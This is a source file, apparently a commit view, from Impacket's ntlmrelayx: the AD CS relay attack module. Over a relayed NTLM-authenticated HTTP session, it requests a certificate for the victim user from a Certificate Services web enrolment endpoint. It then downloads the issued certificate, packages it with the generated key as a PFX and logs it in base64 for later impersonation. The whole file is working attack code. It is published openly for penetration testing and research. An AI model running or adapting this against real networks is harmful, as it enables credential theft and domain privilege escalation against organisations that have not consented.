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Refactored httpattack.py, implemented AD CS attack as a submodule
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impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py
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# Impacket - Collection of Python classes for working with network protocols. | ||
# | ||
# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. | ||
# | ||
# This software is provided under a slightly modified version | ||
# of the Apache Software License. See the accompanying LICENSE file | ||
# for more information. | ||
# | ||
# Description: | ||
# AD CS relay attack | ||
# | ||
# Authors: | ||
# Ex Android Dev (@ExAndroidDev) | ||
# Tw1sm (@Tw1sm) | ||
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import re | ||
import base64 | ||
from OpenSSL import crypto | ||
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from impacket import LOG | ||
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# cache already attacked clients | ||
ELEVATED = [] | ||
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class ADCSAttack: | ||
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def _run(self): | ||
key = crypto.PKey() | ||
key.generate_key(crypto.TYPE_RSA, 4096) | ||
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if self.username in ELEVATED: | ||
LOG.info('Skipping user %s since attack was already performed' % self.username) | ||
return | ||
csr = self.generate_csr(key, self.username) | ||
csr = csr.decode().replace("\n", "").replace("+", "%2b").replace(" ", "+") | ||
LOG.info("CSR generated!") | ||
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data = "Mode=newreq&CertRequest=%s&CertAttrib=CertificateTemplate:%s&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=" % (csr, self.config.template) | ||
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headers = { | ||
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", | ||
"Content-Type": "application/x-www-form-urlencoded", | ||
"Content-Length": len(data) | ||
} | ||
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LOG.info("Getting certificate...") | ||
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self.client.request("POST", "/certsrv/certfnsh.asp", body=data, headers=headers) | ||
ELEVATED.append(self.username) | ||
response = self.client.getresponse() | ||
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if response.status != 200: | ||
LOG.error("Error getting certificate! Make sure you have entered valid certiface template.") | ||
return | ||
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content = response.read() | ||
found = re.findall(r'location="certnew.cer\?ReqID=(.*?)&', content.decode()) | ||
if len(found) == 0: | ||
LOG.error("Error obtaining certificate!") | ||
return | ||
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certificate_id = found[0] | ||
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self.client.request("GET", "/certsrv/certnew.cer?ReqID=" + certificate_id) | ||
response = self.client.getresponse() | ||
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LOG.info("GOT CERTIFICATE!") | ||
certificate = response.read().decode() | ||
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certificate_store = self.generate_pfx(key, certificate) | ||
LOG.info("Base64 certificate of user %s: \n%s" % (self.username, base64.b64encode(certificate_store).decode())) | ||
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def generate_csr(self, key, CN): | ||
LOG.info("Generating CSR...") | ||
req = crypto.X509Req() | ||
req.get_subject().CN = CN | ||
req.set_pubkey(key) | ||
req.sign(key, "sha256") | ||
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return crypto.dump_certificate_request(crypto.FILETYPE_PEM, req) | ||
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def generate_pfx(self, key, certificate): | ||
certificate = crypto.load_certificate(crypto.FILETYPE_PEM, certificate) | ||
p12 = crypto.PKCS12() | ||
p12.set_certificate(certificate) | ||
p12.set_privatekey(key) | ||
return p12.export() |
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